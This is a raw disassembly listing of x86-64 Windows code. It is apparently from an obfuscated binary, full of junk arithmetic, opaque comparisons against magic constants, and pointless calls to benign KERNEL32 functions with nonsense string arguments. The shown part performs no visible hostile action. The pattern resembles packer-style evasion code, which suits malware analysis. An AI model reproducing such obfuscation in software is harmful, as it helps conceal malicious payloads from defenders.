mov qword [rsp + 0x8b20], rax
movzx eax, word [rsp + 0x1000]
mov dword [rsp + 0x4d74], eax
cmp dword [rsp + 0x4d74], 0xe83
je 0x140004b67
jmp 0x140004bdd
lea rax, [rsp + 0x8be0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2a100]
mov r8d, 0x5d
lea rdx, [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c58]
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
mov dword [rsp + 0x4d28], eax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cbc]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
jmp 0x140004ccc
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ad0]
shl rax, cl
mov rcx, qword [rsp + 0x8b50]
mov rdx, qword [rsp + 0x8b80]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140004c8d
movsx eax, word [rsp + 0xffc]
mov dword [rsp + 0x4d78], eax
cmp dword [rsp + 0x4d78], 0x6d3
je 0x140004c2f
jmp 0x140004c6c
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8c20]
mov r9, qword [rax]
movzx r8d, word [0x1401e8790]
mov edx, dword [rsp + 0x4d44]
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rax]
call fcn.1401cdb50
nop
jmp 0x140004c8d
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8b50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x8c60], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x8c68], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
cmp dword [rsp + 0x4d70], 0xb786
je 0x140004e93
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
sub eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cd0], eax
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
and eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d70]
add eax, 0x3d
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
xor eax, ecx
mov word [rsp + 0xff4], ax
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x8b78]
mov qword [rsp + 0x8c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x140004cee
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8b50]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140004f14
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8bc8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8c10]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x8b50]
call fcn.1401cdb50
nop
mov rax, qword [rsp + 0x8b50]
mov qword [rsp + 0x8c78], rax
movabs rax, 0x70bfb4322d2af6
cmp qword [rsp + 0x8c78], rax
je 0x140004ff3
movabs rax, 0x75ff17765ffb48
cmp qword [rsp + 0x8c78], rax
je 0x140004f55
jmp 0x14000510e
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x8bb0]
mov r8d, 0xb7
lea rdx, [rsp + 0x8af0]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.KERNEL32.dll_BackupRead]
mov dword [rsp + 0x4d28], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b80], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0xff4]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov word [rsp + 0xff0], ax
jmp 0x14000510e
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x4cbc]
mov edx, dword [rsp + 0x4d00]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1400050f1
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4d7c], eax
cmp dword [rsp + 0x4d7c], 0x14cf
je 0x1400050d2
cmp dword [rsp + 0x4d7c], 0x1c36
je 0x140005054
jmp 0x1400050ef
mov ecx, 0xe9
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [rsp + 0x4d28], eax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
xor eax, ecx
mov byte [rsp + 0x73], al
lea r8, [rsp + 0x8c60]
mov edx, 1
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0x4d80], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x71], al
jmp 0x1400050ef
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4d44]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
jmp 0x14000510e
lea rdx, [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [rsp + 0x4d80], eax
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4ccc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140005196
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8ab0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bb8], rax
lea rax, [rsp + 0x8b78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x15
lea r9, [rsp + 0x2a0e0]
mov r8d, 0x8d
mov edx, 0xe9
mov ecx, 0xd2
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov dword [rsp + 0x4d00], eax
jmp 0x1401cc525
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8c80], rax
movabs rax, 0x75881277f8c19f
cmp qword [rsp + 0x8c80], rax
je 0x1400051bf
jmp 0x140005218
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
mov dword [rsp + 0x28], 0x6a
lea rax, [rsp + 0x2a0d0]
mov qword [rsp + 0x20], rax
lea r9, str.Dwellings_Laddered_droves_Dislocations
lea r8, [rsp + 0x71]
mov edx, 0xa4
mov ecx, 0x85
call qword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov dword [rsp + 0x4d84], eax
jmp 0x1401cc505
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x8c88], rax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
movsx ecx, word [rsp + 0xff0]
movsx edx, word [0x1401e8790]
xor ecx, edx
cmp eax, ecx
jne 0x140005309
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov dword [rsp + 0x4d8c], 0xfedd
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8c10]
movzx eax, word [rax]
mov word [rsp + 0x1008], ax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0x8c98], rax
jmp 0x140005418
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x72]
movsx edx, byte [rsp + 0x73]
add ecx, edx
cmp eax, ecx
jg 0x1400053cc
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov qword [rsp + 0x8ca0], rax
movabs rax, 0x787d9ca74ddb13
cmp qword [rsp + 0x8ca0], rax
je 0x14000538a
movabs rax, 0x7ebf9dab9c1d6f
cmp qword [rsp + 0x8ca0], rax
je 0x1400053bd
jmp 0x1400053ca
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8b70]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8ac0]
movzx ecx, byte [rax]
call fcn.1401cd170
nop
jmp 0x1400053ca
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [rsp + 0x4cd0], eax
jmp 0x140005418
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4d88]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140005418
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ad0]
mov rdx, qword [rsp + 0x8b50]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x14000556c
mov eax, dword [rsp + 0x4cc4]
cdq
mov ecx, 0x7fd0
idiv ecx
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
mov dword [rsp + 0x4d94], ecx
movsx edx, word [rsp + 0xffc]
movzx ecx, dl
mov edx, dword [rsp + 0x4d94]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140005551
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xff0]
add ecx, edx
cmp eax, ecx
jle 0x14000554f
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401e7004], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x4cb0], eax
jmp 0x14000556c
mov rax, qword [rsp + 0x8b78]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8c88]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d68]
add eax, 0x11
mov dword [rsp + 0x4d68], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
xor eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sar eax, cl
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cc4]
mov rcx, qword [rsp + 0x8b78]
mov qword [rsp + 0x8cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cb0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8ca8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
cmp dword [rsp + 0x4d68], 0x52e0
jbe 0x14000556c
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8cb8], rax
cmp qword [rsp + 0x8cb8], 0
je 0x140005760
movabs rax, 0x7d6ea808ce1781
cmp qword [rsp + 0x8cb8], rax
je 0x1400058ca
jmp 0x1400059b4
mov eax, dword [rsp + 0x4cac]
mov dword [rsp + 0x4d98], eax
cmp dword [rsp + 0x4d98], 0
je 0x14000577d
jmp 0x140005899
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x73]
and eax, ecx
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8c08]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x1400057f6
mov eax, dword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x8b48]
mov qword [rsp + 0x8cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cc0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4d44], eax
lea r8, [rsp + 0x2a110]
xor edx, edx
mov rcx, qword [rsp + 0x8c58]
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [rsp + 0x4d80], eax
jmp 0x140005897
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
xor eax, ecx
movzx ecx, word [rsp + 0xff4]
mov dword [rsp + 0x4d9c], ecx
movzx edx, word [rsp + 0x1004]
movzx ecx, dl
mov edx, dword [rsp + 0x4d9c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140005858
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [0x1401e7008], eax
jmp 0x1400058c5
mov rax, qword [rsp + 0x8bc8]
mov r9, qword [rax]
movzx r8d, word [rsp + 0xff0]
mov rax, qword [rsp + 0x8b48]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x8b50]
call fcn.1401cdb50
nop
jmp 0x1400059b4
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x73]
mov rdx, qword [rsp + 0x8bf8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400059b4
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov dword [rsp + 0x4da0], eax
cmp dword [rsp + 0x4da0], 0x9d5
je 0x140005976
cmp dword [rsp + 0x4da0], 0xd0b
je 0x140005944
jmp 0x1400059b4
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x4da4], eax
jmp 0x1400059b4
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov dword [rsp + 0x4da8], eax
cmp dword [rsp + 0x4da8], 0
je 0x1400059d5
jmp 0x140005b1a
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x8cc8], rax
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x4dac], al
cmp byte [rsp + 0x4dac], 0
je 0x140005a0e
cmp byte [rsp + 0x4dac], 0x19
je 0x140005af6
jmp 0x140005b18
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov dword [rsp + 0x4db0], eax
cmp dword [rsp + 0x4db0], 0x737
je 0x140005a32
jmp 0x140005af4
mov rax, qword [rsp + 0x8b20]
mov qword [rsp + 0x8cd0], rax
movabs rax, 0x77fa9b505afc87
cmp qword [rsp + 0x8cd0], rax
je 0x140005ac3
movabs rax, 0x7de4e1b4b49d12
cmp qword [rsp + 0x8cd0], rax
je 0x140005a6f
jmp 0x140005af4
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
lea r8, [rsp + 0x2a1a0]
mov edx, 0x51
mov ecx, 0xd9
call qword [sym.imp.KERNEL32.dll_GetCPInfoExA]
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
jmp 0x140005af4
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8c50]
mov qword [rsp + 0x8cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cd8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8b50], rax
jmp 0x140005b18
mov r8d, 0x99
lea rdx, [rsp + 0x2a0d0]
lea rcx, str.C:_smarterSandwichdefectivenessSniggerGame
call qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
mov dword [rsp + 0x4da4], eax
jmp 0x140005b46
mov rax, qword [rsp + 0x8bc8]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x1008]
mov edx, dword [rsp + 0x4d44]
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rax]
call fcn.1401cdb50
nop
movzx eax, byte [rsp + 0x70]
mov byte [0x1401e8792], al
cmp dword [rsp + 0x4d1c], 0xf146
je 0x140005e55
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8af8], rax
mov eax, dword [rsp + 0x4d84]
movzx ecx, al
mov eax, dword [rsp + 0x4cc4]
shl eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1004]
and eax, ecx
mov word [rsp + 0xff4], ax
movsx eax, word [0x1401e8790]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [0x1401e8792]
add eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x8ca8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
or eax, ecx
mov word [rsp + 0xffc], ax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0xff4]
shl eax, cl
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x8bc8]
mov qword [rsp + 0x8ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ce0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8ca8], rax
mov eax, dword [rsp + 0x4d1c]
add eax, 0xf8
mov dword [rsp + 0x4d1c], eax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401e7004], eax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cc4], eax
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4ccc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x1008]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b80], rax
jmp 0x140005b51
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401e7010], rax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov dword [rsp + 0x4db4], eax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4db8], eax
cmp dword [rsp + 0x4db8], 0xbd11
je 0x140005ec1
jmp 0x140005fb6
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8ad0]
sub rdx, rcx
